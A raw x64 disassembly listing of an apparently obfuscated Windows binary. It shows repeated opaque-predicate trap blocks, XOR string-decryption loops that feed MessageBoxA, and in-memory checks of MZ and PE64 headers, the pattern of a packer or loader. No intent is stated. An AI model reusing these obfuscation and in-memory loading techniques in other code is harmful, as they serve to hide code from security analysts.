lea rcx, [rbp + 0x10e8]
call fcn.140038318
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400c02d0
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b45a
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b43a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b43a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b45a
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b504
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b4e4
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b4e4
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b504
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140038a14
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b5bc
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b59c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b59c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b5bc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b679
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b659
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b659
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b679
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14002b6a6
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x14002b7cc
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x14002b737
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x14002b719
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
movabs r13, 0x8da1264b19cedc00
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b876
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b856
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b856
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b876
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
mov esi, 0xade9c597
cmp rax, r12
jne 0x14002b925
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b905
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b905
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b925
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b9cf
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b9af
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b9af
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b9cf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rcx, qword gs:[0x42]
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x14002bd90
cmp rcx, r12
jne 0x14002ba9a
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ba7a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ba7a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ba9a
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], Ordinal_79
mov r10, r14
mov ebx, 0x787f7b98
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x800773518
movabs r9, 0x1000ee6a30
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov edi, 0x787f7b97
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002badf
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x1400efff0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400f0120]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400effe0]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x1730b24a
mov dword [rbp + 0xc8c], 0x4657eabc
mov dword [rbp + 0xc90], 0xf29146ac
mov word [rbp + 0xc94], gethostname
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x1cb6607338
movabs r11, 0x396cc0e670
mov cl, r9b
and cl, 7
shl cl, 3
mov edi, 0x787f7b97
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002bbb9
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002bce2
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bcc2
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bcc2
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bce2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x1400375c9
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bd70
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bd70
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400375c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
cmp rcx, r12
jne 0x14002be31
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002be11
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002be11
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002be31
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002befc
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bedc
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bedc
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002befc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14002c2c9
cmp rax, r12
jne 0x14002bfc9
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bfa9
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bfa9
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bfc9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], Ordinal_79
mov r10, r14
mov ebx, 0x787f7b98
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x800773518
movabs r9, 0x1000ee6a30
movabs r15, 0x8080808080808081
lea r13d, [rbx - 1]
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002c012
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x1400efff0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400f0100]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400effe0]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x1730b24a
mov dword [rbp + 0xccc], 0x4657eabc
mov dword [rbp + 0xcd0], 0xf29146ac
mov word [rbp + 0xcd4], gethostname
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x1cb6607338
movabs r11, 0x396cc0e670
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002c0ea
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002c211
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c1f1
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c1f1
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c211
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x1400375c9
mov rax, qword gs:[0x35]
movabs rsi, 0x8da1264b19cedc00
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c2a9
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c2a9
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400375c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov ebx, 0xade9c597
cmp rax, r12
jne 0x14002c36f
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c34f
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c34f
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c36f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400f0160]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x232171c0
mov dword [rbp + 0x98c], 0xcdbe8c41
mov dword [rbp + 0x990], 0xe3c48990
mov word [rbp + 0x994], 0x39b7
mov byte [rbp + 0x996], al
mov r8, r14
mov esi, 0x787f7b97
lea r10d, [rax + 0x1e]
movabs r9, 0xe1ef07bd0
lea r12d, [rsi + 1]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x1c3de0f7a0
cmp r9, rax
jb 0x14002c3d9
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400f0210]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400eff50]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
mov r10d, Ordinal_35
movabs r9, 0xe976ff768
movabs r15, 0x1d2edfeed0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, r15
jb 0x14002c492
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.1400375d4
mov rax, qword gs:[0x42]
mov esi, 0x1e4bf515
movabs r15, 0x8da1264b19cedc00
cmp rax, rsi
jne 0x14002c608
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c5e8
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c5e8
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c608
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002c6b2
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c692
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c692
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c6b2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
xor ecx, ecx
call fcn.1400a1f44
mov rcx, rax
call fcn.14009d824
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002c76b
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c74b
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c74b
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c76b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002c815
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c7f5
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c7f5
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c815
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002c8bf
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c89f
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c89f
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c8bf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
mov edi, 0x16deb3e7
cmp rax, rsi
jne 0x14002c97e
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c95e
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c95e
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c97e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002ca39
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ca19
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ca19
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ca39
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x14002cae3
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cac3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cac3
mov rcx, qword gs:[0x35]
